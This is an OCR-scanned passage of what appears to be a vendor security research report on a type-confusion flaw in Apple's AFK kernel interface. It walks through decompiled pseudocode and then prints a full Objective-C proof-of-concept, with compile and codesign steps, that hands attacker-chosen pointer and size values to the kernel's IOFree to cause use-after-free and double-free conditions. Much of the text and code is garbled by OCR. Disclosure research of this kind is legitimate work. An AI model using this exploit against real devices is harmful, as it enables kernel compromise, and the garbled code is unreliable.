+ 28), (3) Missing type check for v16, PoC proves that v16+24 and v16+32 are completely controllable due to type confusion

+
w17 = *(_OWORD *)(v13 + 88);
if | w17
&& (*{unsigned int ( fastcall *=*){ QWORD, int64, OQWORD))(**( OWORD **){al + 152) + 552LL)){

0001C24C _ ZN27AFKMailboxEndpointInterface24 handleResponseSubPacketEPK19 IOPSubPacketHeaderPKhm:49 (1C24C)

By analyzing the code, we can tell v16 variable is expected to be the kalloc type of
PendingContext (initialized in AFKMailboxEndpointinterface::_enqueueCommandGated).
However, as our PoC proves, when the enqueueCommand process has been handled
through AFKEndpointinterfaceUserClient, kalloc type of AsyncContext (initialized in
AFKEndpointinterfaceUserClient::enqueueCommandGated) will be used in place of
PendingContext. So the above v16 variable will be a kalloc type of AsyncContext when running
the PoC. The following pseudocode analyzes the AsyncContext structure.

__inte4 __fastcall AFKEndpointInterfacelUserClient::enqueueCommandGated |
IORegistryEntry *this,
void =a2,
I0ExternalMethodArguments sexternalMethod_args)

v5 I0OMallocTypeImpl{&AsyncContext);// Allocating AsyncContext data which is the above v16 var
vb v5;
*{_QWORD *}(v5 + 8) = this;
asyncReferenceCount = externalMethod_args—=asyncReferenceCount;
if { (_DWORD)asyncReferenceCount )
{
v8 = v5 + 16;
asyncReference = externalMethod_args-=asyncReference;
do
{

v10 = *{_QWORD *x)asyncReference;
asyncReference += 8LL;
#(_QWORD #)v8 = v1@;// Copy asyncReference[1] and asyncReference[2] to v16 + 24 and v16 + 32,

w8 += BLL; respectively. asyncReference is part of the externalMethod arguments which passed
—asyncReferenceCount; from userspace

while ( asyncReferenceCount };

}
v1ll = GxEBOBA2BDLL;
scalarlnput = externalMethod_args->scalarlnput;
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Proof of Concept

We're releasing a powerful arbitrary-free that can control both the pointer and the size of the
free. This can be used to trigger kernel use-as-free and double-free vulnerabilities. Considering
that attackers had control over the browser too with CVE-2022-32893, this vulnerability could
have been used to achieve a DCP escape vulnerability without an additional userspace-to-kernel-
space vulnerability.

To trigger this POC from the Application Processor, you need to run it from a user-space process
that contains the com.apple.afk.user entitlement.

Triggering this vulnerability through the DCP is more complicated, as it requires the attacker to
have full control over the DCP first. A test environment, similar to the one described in this blog
post is required in order to transmit arbitrarily crafted subpacket type 26 MailboxMessage to the
kernel.

/I afk_kfree_Oday.m

/I CVE-2022-XXXX POC - Created by 08tc3wbb
/I (C) ZecOps - a Jamf Company - All rights reserved.

// Run from a process with “com.apple.afk” entitlement

/I Released only for educational and testing in corporate environments.

/I ZecOps or Jamf takes no responsibility for the code

/I Use at your own risk.

#import <Foundation/Foundation.h>

#include <IOKit/IOKitLib.h>

/*

How to compile:

clang afk_kfree_Oday.m -o afk_kfree_0Oday -framework IOKit -framework Foundation -if-
ramework /System/Library/PrivateFrameworks -framework AFKUser

codesign -f -s <developer signature> --entitlements afk_kfree_0Oday_entit.txt afk_kfree_
Oday

*/

@protocol OS_dispatch_queue, OS_dispatch_source, OS_dispatch_mach;

@class NSObject, NSMutableDictionary;

@interface AFKEndpointinterface : NSObject;

+(id)withService:(unsigned)arg1 ;

+(id)withService:(unsigned)arg1 properties:(id)arg2 ;

-(id)initWithService:(unsigned)arg1 ;

-(void)setResponseHandler:(/*"block*/id)arg1 ;

-(void)activate;
-(void)activate:(unsigned)argi ;
-(void)_cancel;
-(void)setEventHandler:(/*block*/id)arg1 ;
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dealloc;

setDispatchQueue:(id)arg ;

cancel;

setCommandHandler:(/**block*/id)arg1 ;

-(void)setReportHandler:(/**block*/id)arg1;
-(void)setCommandHandlerWithReturn:(/*block*/id)arg1 ;

-(void)asyncCallback:(void*)arg1 result:(int)arg2 timestamp:(unsigned long long)arg3 buffer-
Size:(unsignedlong long)arg4 ;

-(int)enqueueCommand:(unsigned)argl timestamp:(unsigned long long)arg2 inputBuffer:(-
const void*)arg3 inputBufferSize:(unsigned long long)arg4 outputPayloadSize:(unsigned
long long)arg5 context:(void*)arg6 options:(unsigned)arg?7 ;
-(int)enqueueCommand:(unsigned)arg! inputBuffer:(const void*)arg2 inputBufferSize:(un-
signed longlong)arg3 outputPayloadSize:(unsigned long long)arg4 context:(void*)argh
options:(unsigned)arg6 ;

-(int)enqueueReport:(unsigned)argl timestamp:(unsigned long long)arg2 inputBuffer:(const
void*)arg3 inputBufferSize:(unsigned long long)arg4 options:(unsigned)argb ;
-(int)enqueueReport:(unsigned)arg! inputBuffer:(const void*)arg2 inputBufferSize:(unsigned
long long)arg3 options:(unsigned)arg4 ;

-(int)enqueueResponseForContext:(void*)arg1 status:(int)arg2 timestamp:(unsigned long
long)arg3 outputBuffer:(void*)arg4 outputBufferSize:(unsigned long long)arg5 options:(un-
signed)argb6 ;

-(int)enqueueResponseForContext:(void*)arg1 status:(int)arg2 outputBuffer:(void*)arg3 out-
putBufferSize:(unsigned long long)arg4 options:(unsigned)arg5 ;
-(void)dequeueDataMessage;

-(int)startSession:(BOOL)arg1 ;

@end

int main(int argc, const char * argv[]) {

~(void
~(void
~(void
~(void

— ~— ~— ~— ~— ~—

io_service_t afk_serv = |0ServiceGetMatchingService(klOMainPortDefault, IOServiceN-
ameMatching(“system”));
printf(“afk_serv: 0x%x\n”, afk_serv);

AFKEndpointinterface *afk = [AFKEndpointinterface withService:afk_serv];
printf(“AFKEndpointinterface instance created successfully! Ox%lIx\n”, (uint64_t)afk);

dispatch_queue_t afk_queue = dispatch_queue_create(“afkregistry”, O);
[afk setDispatchQueue:afk_queue];

[afk setResponseHandler:*(id arg1, uint64_t arg2, uint32_t error_code, uint64_t arg4,
uint64_t resp_data, uint64_t resp_data_len) {

NSLog(@”Resp: arg1:%@”, argl);

printf(“Resp: error_code: 0x%x\n”, error_code);

printf(“Resp: arg4: 0x%lIx Ox%lIx\n”, arg4, resp_data_len);
18

[afk activate:1];

io_connect_t afkClient_ioconn = *(uint32_t*)((char*)afk + 12);
printf(“afkClient_ioconn: Ox%x\n”, afkClient_ioconn);

mach_port_t wake_port = |IONotificationPortGetMachPort(*(IONotificationPortRef*)((char*)
afk + 24));
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printf(“wake_port: Ox%x\n”, wake_port);

uint64_t reference[3] = {0};

reference[0] = O;

reference[1] = 0x2222222222222222; // This will be passed as address to IOFree()
reference[2] = 0x3333333333333333; // This will be passed as size to IOFree()

uint64_t input[7] = {O};

input[0] = 26; // cmd

input[1] = 0; // timestamp

input[2] = 0; // inputBuffer

input[3] = O; // inputBufferSize

input[4] = (uint64_t)calloc(1, 0x100000); // outputBuffer
input[5] = 0x100000; // outputBufferSize

input[6] = 2; // inputOptions

IOConnectCallAsyncMethod(afkClient_ioconn, 2, wake_port, reference, 3, input, 7, O, O,
NULL, NULL, NULL, NULL); // AFKEndpointinterfaceUserClient::extEnqueueCommandMeth-
od

return O;

}

Conclusions

Attackers are now interested in co-processor attacks too — both nation-state and commercial
threat actors.

¢ Given the pre-conditions and limitations explored in this research report from the Application
Processor point-of-view, we surmise that attackers leveraging CVE-2022-32894 gained access
to the DCP and the patch was aimed at blocking DCP->AP Kernel escape.

e Jamf was able to find another vulnerability that can be triggered from DCP to AP Kernel. This
vulnerability allows an attacker to trigger various vulnerabilities in the AP kernel (i.e., use-after-
free and double-free) but is not sufficient for full device takeover.

e A co-processor attacker’s goal is to obtain Kernel read/write to achieve full device compromise.

¢ We foresee cooperation of userspace AP attacks combined with co-processor attacks to
achieve full kernel takeover while attacking the kernel from both sides simultaneously.

¢ Apple has patched the vulnerability in version 16.5.



